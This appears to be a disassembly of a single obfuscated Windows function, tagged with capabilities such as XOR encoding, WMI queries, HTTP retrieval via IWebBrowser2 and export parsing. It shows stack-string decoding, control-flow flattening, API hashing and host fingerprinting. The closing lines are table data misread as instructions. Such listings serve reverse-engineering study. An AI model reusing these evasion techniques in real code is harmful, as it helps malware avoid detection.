Function at 0x436d00
Capabilities:
Authenticate hmac
Connect to wmi namespace via wbemlocator
Encode data using xor
Get http document via iwebbrowser2
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0xa8
mov eax, dword [0x44ab50]
mov dword [esp + 0x20], 0xc9bfcbef
mov dword [esp + 0x24], 0xcd5bcf57
mov dword [esp + 0x28], 0xf195f366
mov dword [esp + 0x2c], 0xf5b0f79b
mov dword [esp + 0x30], 0xf991fb6c
mov dword [esp + 0x34], 0xfd99ff64
mov dword [esp + 0x38], 0xe1e0e3c7
mov dword [esp + 0x3c], 0
mov dword [esp + 0x10], 0
mov ecx, dword [esp + 0x10]
cmp ecx, 0x1f
ja 0x436dc2
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x10]
movzx esi, byte [esp + edx + 0x20]
lea edx, [ecx + esi]
add ecx, 0xd8
and ecx, esi
sub edx, ecx
add edx, 0x9419d2d8
mov esi, edx
not esi
and esi, ecx
not ecx
and ecx, edx
sub ecx, esi
mov dword [esp + 0x94], ecx
mov ecx, dword [esp + 0x94]
add cl, 0xee
mov edx, dword [esp + 0x10]
mov byte [esp + edx + 0x20], cl
inc dword [esp + 0x10]
mov ecx, dword [esp + 0x10]
cmp ecx, 0x20
jb 0x436d70
lea ecx, [esp + 0x10]
lea ebx, [esp + 0x94]
lea edi, [esp + 0x20]
push ecx
push 8
push ebx
push 0xd
push edi
push 0
call eax
shr eax, 0x1f
jmp dword [eax*4 + 0x448368]
mov dword [esp + 0x94], 0x3a0043
mov dword [esp + 0x98], 0x5c
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x68], 0
lea eax, [esp + 0x68]
push eax
push 0x442a88
push 1
push 0
push 0x442a98
call dword [sym.imp.ole32.dll_CoCreateInstance]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x448370]
mov dword [esp + 0x20], 0x28982a83
mov dword [esp + 0x24], 0x248b269a
mov dword [esp + 0x28], 0x209c2281
mov dword [esp + 0x2c], 0x1caa1e98
mov dword [esp + 0x30], 0x18d51ab7
mov word [esp + 0x34], 0x1619
mov dword [esp + 0x36], 0
mov byte [esp + 0x3a], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x1a
ja 0x436ed7
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x20]
lea edx, [eax + 0x53]
and edx, ecx
add eax, ecx
add edx, edx
sub eax, edx
add eax, 0xf7372153
mov dword [esp + 0x78], eax
mov eax, dword [esp + 0x78]
add al, 0x82
mov ecx, dword [esp]
mov byte [esp + ecx + 0x20], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x1b
jb 0x436ea0
push edi
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov esi, eax
mov eax, dword [esp + 0x68]
mov ecx, dword [eax]
lea edx, [esp + 0x64]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
push esi
push eax
call dword [ecx + 0xc]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x448378]
jmp dword [0x4483f8]
mov dword [esp + 0x5c], esi
push 0
push 0
push 3
push 3
push 0
push 0
push 0xa
push dword [esp + 0x80]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x448380]
mov dword [esp + 0x20], 0xa650a058
mov dword [esp + 0x24], 0xaaaba469
mov word [esp + 0x28], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 9
ja 0x436f8e
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x20]
add eax, 0x98e213f2
xor eax, ecx
mov dword [esp + 0x78], eax
mov eax, dword [esp + 0x78]
add al, 0xad
mov ecx, dword [esp]
mov byte [esp + ecx + 0x20], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0xa
jb 0x436f60
lea edi, [esp + 0x20]
push edi
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esp + 4], eax
mov dword [esp + 0x20], 0x5c925eee
mov dword [esp + 0x24], 0x58965ae9
mov dword [esp + 0x28], 0x44fb4696
mov dword [esp + 0x2c], 0x409542a5
mov dword [esp + 0x30], 0x4c854ea1
mov dword [esp + 0x34], 0x48f84af3
mov dword [esp + 0x38], 0x34d736fc
mov dword [esp + 0x3c], 0x309a328e
mov dword [esp + 0x40], 0x3ce03ea3
mov dword [esp + 0x44], 0x38983ae3
mov dword [esp + 0x48], 0x24ee26f7
mov dword [esp + 0x4c], 0x209c2296
mov word [esp + 0x50], 0x2e21
mov dword [esp + 0x52], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x35
ja 0x437059
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x20]
mov edx, eax
and edx, 0x326402a7
xor eax, 0xb26402a7
lea eax, [eax + edx*2]
xor eax, ecx
mov dword [esp + 0x78], eax
mov eax, dword [esp + 0x78]
add al, 0xa
mov ecx, dword [esp]
mov byte [esp + ecx + 0x20], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x36
jb 0x437020
push edi
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov ebx, eax
mov eax, dword [esp + 0x64]
mov ecx, dword [eax]
lea edx, [esp + 0x74]
push edx
push 0
push 0x30
push ebx
push dword [esp + 0x14]
push eax
call dword [ecx + 0x50]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x448388]
mov esi, ebx
mov ebx, dword [esp + 4]
jmp dword [0x4483e8]
mov dword [esp + 0x70], 0
mov eax, dword [esp + 0x74]
mov ecx, dword [eax]
lea edx, [esp + 0x70]
lea edi, [esp + 0x60]
push edx
push edi
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
test eax, eax
setns cl
cmp eax, 1
setne al
cmp dword [esp + 0x70], 0
setne dl
and dl, al
and dl, cl
movzx eax, dl
mov dword [esp + 0x8c], ebx
jmp dword [eax*4 + 0x448390]
lea esi, [esp + 0x78]
push esi
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [esp + 0x60]
mov dword [esp + 0x20], 0xde78dc08
mov dword [esp + 0x24], 0xa208a06d
mov dword [esp + 0x28], 0xa609a402
mov dword [esp + 0x2c], 0xaa1ca869
mov dword [esp + 0x30], 0xae0fac06
mov dword [esp + 0x34], 0xb203b00a
mov dword [esp + 0x38], 0xb4b3
mov byte [esp + 0x3c], 0
mov dword [esp + 8], 0
mov ecx, dword [esp + 8]
cmp ecx, 0x1c
ja 0x437173
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp + 8]
mov edx, dword [esp + 8]
movzx edx, byte [esp + edx + 0x20]
add ecx, 0x86bebb
xor ecx, edx
mov dword [esp], ecx
mov ecx, dword [esp]
add cl, 0xa0
mov edx, dword [esp + 8]
mov byte [esp + edx + 0x20], cl
inc dword [esp + 8]
mov ecx, dword [esp + 8]
cmp ecx, 0x1d
jb 0x437140
mov ecx, dword [eax]
push 0
push 0
push esi
push 0
lea edx, [esp + 0x30]
push edx
push eax
call dword [ecx + 0x10]
test eax, eax
setns al
cmp word [esp + 0x78], 8
sete cl
and cl, al
movzx eax, cl
jmp dword [eax*4 + 0x448398]
push dword [esp + 0x80]
call dword [sym.imp.OLEAUT32.dll_VariantInit]
mov edx, dword [esp + 0x80]
mov dword [esp + 0x58], eax
lea esi, [edx + eax*2]
movzx ecx, word [edx]
test cx, cx
mov dword [esp + 0x88], edx
je 0x437203
xor edi, edi
mov eax, edx
jmp 0x4371dd
add edi, edx
movzx ecx, word [eax + 2]
add eax, 2
test cx, cx
je 0x437205
cmp eax, esi
jae 0x437205
movzx ebx, cx
cmp ebx, 0x800
mov ecx, 3
sbb ecx, 0
mov edx, 1
cmp ebx, 0x80
jb 0x4371cf
mov edx, ecx
jmp 0x4371cf
xor edi, edi
lea eax, [edi + 1]
mov dword [esp + 0x6c], eax
push eax
call fcn.004095a0
add esp, 4
mov dword [esp + 0xc], eax
test edi, edi
mov ebx, dword [esp + 0x88]
jle 0x4372ea
mov eax, dword [esp + 0xc]
cmp dword [esp + 0x58], 0
jle 0x4372ea
mov eax, dword [esp + 0xc]
lea ecx, [eax + edi]
mov dword [esp + 0x58], ecx
add dword [esp + 0x6c], eax
add ebx, 2
mov dword [esp + 0x90], esi
movzx edx, word [ebx - 2]
test dx, dx
je 0x4372ea
cmp dx, 0x7f
ja 0x43726c
mov byte [eax], dl
mov ecx, 1
jmp 0x4372ce
mov ecx, eax
not ecx
add ecx, dword [esp + 0x6c]
movzx esi, dx
cmp ecx, 2
jb 0x43729e
cmp esi, 0x7ff
ja 0x43729e
mov ecx, edx
shr ecx, 6
add cl, 0xc0
mov byte [eax], cl
and dl, 0x3f
or dl, 0x80
mov byte [eax + 1], dl
mov ecx, 2
jmp 0x4372ce
cmp ecx, 3
mov ecx, 0
jb 0x4372ce
mov ecx, esi
shr ecx, 0xc
or cl, 0xe0
mov byte [eax], cl
mov ecx, esi
shr ecx, 6
and cl, 0x3f
or cl, 0x80
mov byte [eax + 1], cl
and dl, 0x3f
or dl, 0x80
mov byte [eax + 2], dl
mov ecx, 3
add eax, ecx
cmp eax, dword [esp + 0x58]
jae 0x4372ea
lea ecx, [ebx + 2]
mov esi, dword [esp + 0x90]
cmp ebx, esi
mov ebx, ecx
jb 0x437250
mov byte [eax], 0
xor eax, eax
mov edx, dword [case.0x437198.12]
xor ecx, ecx
cmp eax, 4
setb cl
jmp dword [ecx*4 + 0x4483a0]
mov esi, edi
mov edi, eax
and edi, 0xfffffffb
mov ebx, eax
and ebx, 4
mov ecx, eax
or ecx, 4
imul ecx, ebx
xor ebx, 4
imul ebx, edi
mov edi, esi
add ecx, dword [esp + 0xc]
mov ecx, dword [ebx + ecx]
mov dword [esp + eax*4 + 0x10], ecx
mov ecx, esi
xor ecx, 4
and edi, 0xfffffffb
add edi, edi
sub edi, ecx
xor ecx, ecx
cmp edi, 4
setb cl
jmp dword [ecx*4 + 0x4483a8]
jmp edx
inc eax
xor ecx, ecx
cmp eax, 4
setb cl
jmp dword [ecx*4 + 0x4483a0]
mov eax, dword [case.0x437198.2]
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
mov ebx, dword [esp + 0x8c]
lea esi, [esp + 0x78]
jmp dword [0x4483d0]
push dword [esp + 0xc]
call fcn.004095b0
add esp, 4
jmp dword [0x4483dc]
jmp dword [0x4483dc]
push esi
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov eax, dword [esp + 0x60]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
nop
nop
nop
nop
push esi
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov eax, dword [esp + 0x60]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp dword [0x4483e4]
mov eax, dword [esp + 0x74]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov esi, ebx
mov ebx, dword [esp + 4]
jmp dword [0x4483e8]
mov edi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
push ebx
call edi
push esi
call edi
nop
nop
nop
nop
nop
nop
nop
mov edi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
push ebx
call edi
push esi
call edi
jmp dword [0x4483f4]
mov eax, dword [esp + 0x64]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
lea edi, [esp + 0x20]
lea ebx, [esp + 0x94]
mov esi, dword [esp + 0x5c]
jmp dword [0x4483f8]
push esi
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
nop
nop
nop
nop
nop
nop
nop
nop
push esi
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
jmp dword [0x448404]
mov eax, dword [esp + 0x68]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov esi, dword [ebp + 8]
mov dword [esp + 0x20], 0
push 0xefddb36b
push dword [0x44ab48]
call fcn.0043e880
add esp, 8
push 0
push 0
push 0
push 0
push edi
push 0
push 0
push ebx
call eax
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x448408]
mov eax, dword [esp + 0x20]
mov dword [esp + 0x10], eax
xor ebx, ebx
xor eax, eax
cmp ebx, 4
setb al
jmp dword [eax*4 + 0x448410]
xor edx, edx
test ebx, ebx
setne dl
mov ecx, ebx
jmp dword [edx*4 + 0x448418]
xor eax, eax
cmp dword [esp + ebx*4 + 0x10], 0
sete al
mov ecx, ebx
jmp dword [eax*4 + 0x448420]
lea ecx, [ebx - 1]
imul ecx, dword [esp + ecx*4 + 0x10], 0x1a5845
lea eax, [esi + 8]
add ecx, 0xebde8a13
mov dword [esp + ebx*4 + 0x10], ecx
mov byte [esi + 8], 0
mov dword [esp + 0x5c], eax
je 0x437560
mov dword [esp + 4], ebx
mov esi, eax
cmp ecx, 0x100
jb 0x437570
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ebx, ecx
and ebx, 0xfd
mov edx, ecx
and edx, 2
mov edi, edx
xor edi, 2
imul edi, ebx
or ebx, 2
imul ebx, edx
movzx edx, word [ebx + edi + str.000102030405060708090A0B0C0D0E0F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F303132333435363738393A3B3C3D3E3F404142434445464748494A4B4C4D4E4F505152535455565758595A5B5C5D5E5F606162636465666768696A6B6C6D6E6F707172737475767778797A7B7C7D7E7F808182838485868788898A8B8C8D8E8F909192939495969798999A9B9C9D9E9FA0A1A2A3A4A5A6A7A8A9AAABACADAEAFB0B1B2B3B4B5B6B7B8B9BABBBCBDBEBFC0C1C2C3C4C5C6C7C8C9CACBCCCDCECFD0D1D2D3D4D5D6D7D8D9DADBDCDDDEDFE0E1E2E3E4E5E6E7E8E9EAEBECEDEEEFF0F1F2F3F4F5F6F7F8F9FAFBFCFDFEFF]
mov word [esi - 2], dx
add esi, 0xfffffffe
shr eax, 8
cmp ecx, 0xffff
mov ecx, eax
ja 0x437510
cmp eax, 0xf
ja 0x437577
movzx eax, byte [eax + str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ]
mov byte [esi - 1], al
dec esi
jmp 0x43759f
mov byte [esi + 7], 0x30
add esi, 7
jmp 0x4375a3
mov eax, ecx
cmp eax, 0xf
jbe 0x43754c
mov ecx, eax
and ecx, 2
mov edx, eax
or eax, 2
imul eax, ecx
xor ecx, 2
and edx, 0xfd
imul edx, ecx
movzx eax, word [edx + eax + str.000102030405060708090A0B0C0D0E0F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F303132333435363738393A3B3C3D3E3F404142434445464748494A4B4C4D4E4F505152535455565758595A5B5C5D5E5F606162636465666768696A6B6C6D6E6F707172737475767778797A7B7C7D7E7F808182838485868788898A8B8C8D8E8F909192939495969798999A9B9C9D9E9FA0A1A2A3A4A5A6A7A8A9AAABACADAEAFB0B1B2B3B4B5B6B7B8B9BABBBCBDBEBFC0C1C2C3C4C5C6C7C8C9CACBCCCDCECFD0D1D2D3D4D5D6D7D8D9DADBDCDDDEDFE0E1E2E3E4E5E6E7E8E9EAEBECEDEEEFF0F1F2F3F4F5F6F7F8F9FAFBFCFDFEFF]
mov word [esi - 2], ax
add esi, 0xfffffffe
mov ebx, dword [esp + 4]
mov edx, 0xfffffff7
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [esi + edx + 9], 0
lea edx, [edx + 1]
jne case.default.0x4375c4
xor eax, eax
cmp edx, 0
setne al
xor edi, edi
jmp dword [eax*4 + 0x448428]
mov byte [esi + edi - 1], 0x30
dec edi
xor eax, eax
cmp edx, edi
setne al
jmp dword [eax*4 + 0x448428]
mov edx, dword [case.0x43707f.45]
inc ebx
nop
nop
nop
nop
nop
jmp edx
xor edx, edx
cmp ebx, 4
setb dl
mov esi, dword [esp + 0x5c]
jmp dword [edx*4 + 0x448410]
mov eax, dword [case.0x43707f.49]
nop
nop
nop
nop
nop
nop
jmp eax
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
jo 0x4483ce
add byte [edx - 0x28ffbc90], dl
jae 0x4483d6
add dl, bl
jo 0x4483da
add byte [ebp - 0x60ffbc8d], ah
jno 0x4483e2
add byte [edx + 0x10004373], al
jae 0x4483ea
add byte [eax + 0x73], ah
inc ebx
add byte [edx + 0x73], dh
inc ebx
add byte [eax - 0x7fffbc8d], al
jae 0x4483fa
add byte [eax - 0x7dffbc8d], al
jae 0x448402
add byte [eax + 0x73], ah
inc ebx
add byte [eax + 0x73], ah
inc ebx
add byte [edx + 0x73], ah
inc ebx
add byte [eax + 0x73], ah
inc ebx
add byte [ebx - 0x5affbc8d], dl
jae 0x44841a
inc ebx
add byte [ebx - 0x3fffbc8d], ch
inc ebx
add al, al
jae 0x448422
add al, al
jae 0x448426
inc ebx
add bh, dl
jae 0x44842a
add byte [eax], al
je 0x44842e
inc ebx
add ch, ch
jae 0x448432
add byte [eax], al
je 0x448436
add byte [edx], dl
je 0x44843a
add byte [eax + 0x74], al
inc ebx
add byte [ecx], dh
je 0x448442
add byte [eax + 0x74], al
inc ebx
add byte [ebp + 0x74], cl
inc ebx
add byte [0x93004376], al
je 0x448452
add byte [0xb0004376], al
je 0x44845a
add dh, dl
je 0x44845e
inc ebx
add al, al
je 0x448462
add dh, dl
je 0x448466
inc ebx
add bl, dl
je 0x44846a
inc ebx
add ah, ah
jne 0x44846e
inc ebx
add al, dl
jne 0x448472
inc ebx
add al, dh
jne 0x448476
inc ebx
add al, dh
jne 0x44847a
inc ebx
add al, dh
jne 0x44847e
inc ebx
add dl, dh
jne 0x448482
add byte [eax], dl
jbe 0x448486
inc ebx
add byte [eax], dl
jbe 0x44848a
add byte [eax], dl
jbe 0x44848e
add byte [edx], dl
jbe 0x448492
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [edx], dl
jbe 0x4484a2
add byte [eax], al
add dword [eax], eax
add byte [eax], al
add dword [eax], eax
add byte [eax], al
adc dh, byte [esi + 0x43]
inc ebx
add byte [ebx + 0x76], bl
inc ebx
add byte [edx + 0x76], ah
inc ebx
add byte [esi + 0x76], bh
inc ebx
add byte [esi], ah
ja 0x4484b2
inc ebx
add bl, dh
ja 0x4484b6
inc ebx
add byte [esi], ah
ja 0x4484ba
inc ebx
add byte [ecx], cl
js 0x4484be
inc ebx
add byte [edi + 0x9004378], ah
inc ebx
add byte [ecx], cl
js 0x4484c6
inc ebx
add ah, bl
js 0x4484ca
inc ebx
add al, al
js 0x4484ce
inc ebx
add byte [ecx], dh
jns 0x4484d2
inc ebx
add byte [esi - 0x71], bl
inc ebx
add byte [edi - 0x6c], dh
inc ebx
add byte [esi - 0x1affbc71], bl
xchg esi, eax
inc ebx
add ch, ah
xchg esi, eax
inc ebx
add byte [eax + 0xf00438b], ah
mov es, word [ebx]
mov cs, word [ebp - 0x71f0ffbd]
inc ebx
add byte [edx - 0x56ffbc6c], bl
lcall 0x43, 0x8ad20043
inc ebx
add byte [ecx - 0x2dffbc66], ch
inc ebx
add dl, dl
mov al, byte [ebx]
inc ebx
add byte [ecx + 0x1000439a], ch
test eax, 0x1000439a
xchg ebx, eax
inc ebx
add ch, ah
mov eax, dword [ebx]
stosd dword es:[edi], eax
mov es, word [ebx]
popal
inc ebx
add byte [ebx + 0x6100438e], ch
inc ebx
add byte [ecx - 0x78], ah
mov byte [ebx], al
and byte [edi - 0x7214ffbd], cl
inc ebx
add byte [ebx], dl
xchg esp, eax
inc ebx
add byte [edi], dl
lcall 0x43, 0x87460043
ror byte [edi - 0x65e8ffbd], cl
inc ebx
add bl, ch
lea eax, [ebx]
inc ebx
add byte [eax], ah
pop dword [ebx]
jmp 0x448467
inc ebx
add bl, ch
lea eax, [ebx]
adc edx, dword [ebx + eax*2 + 0x439a1700]
add byte [esi - 0x79], al
inc ebx
add dl, dl
pop dword [ebx]
pop ss
lcall 0x43, 0x8deb0043
mov byte [ebx - 0x7800ffbd], cl
inc ebx
add byte [ebx - 0x39ffbc67], al
xchg edx, eax
inc ebx
add dl, bl
mov word [ebx], es
rcl byte [ebx + eax*2 + 0x438cda00], cl
add bh, bh
xchg dword [ebx], eax
push ecx
xchg edx, eax
inc ebx
add al, dl
xchg ecx, eax
inc ebx
add byte [edi - 0x70], bl
inc ebx
add al, dl
xchg ecx, eax
inc ebx
add byte [ebp + 0x4d00438e], al
xchg ebx, eax
inc ebx
add byte [edi - 0x67], ah
inc ebx
add bl, ch
mov dword [ebx], eax
mov al, 0x93
inc ebx
add byte [ecx], bl
cdq
inc ebx
add byte [edi + 0x1100438a], bh
xchg byte [ebx], al
jp 0x4484d6
inc ebx
add byte [edx - 0x70], bh
inc ebx
add dh, dl
cdq
inc ebx
add al, cl
lea eax, [ebx]
jmp 0x6e44c8f2